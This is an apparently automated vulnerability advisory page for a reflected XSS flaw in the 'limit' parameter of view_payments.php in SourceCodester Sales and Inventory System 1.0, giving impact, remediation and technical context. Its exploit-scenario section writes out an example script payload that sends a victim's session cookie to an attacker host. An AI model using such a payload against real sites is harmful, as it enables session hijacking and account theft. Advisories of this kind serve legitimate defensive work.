Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While CVSS and EPSS scores are unavailable, the presence of publicly available exploit code significantly elevates practical risk. Reflected XSS vulnerabilities are trivial to exploit (no authentication required, low attack complexity) and have direct impact on confidentiality and integrity through session hijacking or malware distribution. The attack vector is network-based and requires only that a victim click a crafted link-a social engineering vector with high success rates. The absence of CVSS data prevents quantitative risk scoring, but the combination of easy exploitability, public POC availability, and the web-facing nature of the application (PHP inventory system) indicates this should be treated as a high-priority remediation target. Organizations running SourceCodester Sales and Inventory System 1.0 facing external access are at elevated risk for account compromise and data theft. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing JavaScript in the 'limit' parameter (e.g., view_payments.php?limit=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and distributes it via phishing email or social media to users of the inventory system. When a logged-in user clicks the link, the JavaScript executes in their browser with the privileges of their session, exfiltrating their session cookies to the attacker's server, enabling account takeover without requiring credentials. Publicly available POC code on GitHub provides a ready-made example, lowering the barrier to exploitation for non-technical attackers. |
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Alert meAnalysisAIv1 – Mar 30, 2026
Reflected Cross-Site Scripting (XSS) in SourceCodester Sales and Inventory System 1.0 allows remote attackers to inject arbitrary web scripts or HTML through the 'limit' parameter in view_payments.php due to insufficient input sanitization. Publicly available exploit code exists, enabling attackers to craft malicious URLs that execute JavaScript in victims' browsers when visited, potentially leading to session hijacking, credential theft, or defacement.
RemediationAI
Implement immediate input validation and output encoding in view_payments.php. Apply htmlspecialchars() with the ENT_QUOTES flag to all user-controlled parameters (including the 'limit' parameter) before rendering them in HTML context, or implement a parameterized query approach with prepared statements if the parameter is used in database operations. Alternatively, establish a whitelist of acceptable values for the 'limit' parameter and reject any input that does not match. Contact SourceCodester directly for official security updates or patches; verify patch availability through https://www.sourcecodester.com/ or the application's release notes. Consider deploying a Web Application Firewall (WAF) with XSS detection rules as a temporary compensating control while patching is prepared. Review all other user-input parameters in the application for similar sanitization gaps.
Affected VersionsENISA
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Technical ContextAI · show details
This is a reflected XSS vulnerability (CWE-79 class) in a PHP-based inventory management application. The vulnerability exists in the view_payments.php endpoint, where the 'limit' parameter is passed directly to the response without proper HTML entity encoding or input validation. Reflected XSS occurs when unsanitized user input from HTTP parameters is echoed back in the HTML response, allowing an attacker to inject malicious JavaScript that executes in the context of the victim's browser session. The PHP application fails to apply context-appropriate output encoding (such as htmlspecialchars() with ENT_QUOTES) or input whitelisting, enabling arbitrary script injection through the query parameter.
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Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the view_payments.php file via the "limit" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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GHSA-jc8c-fhv7-6vvp
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB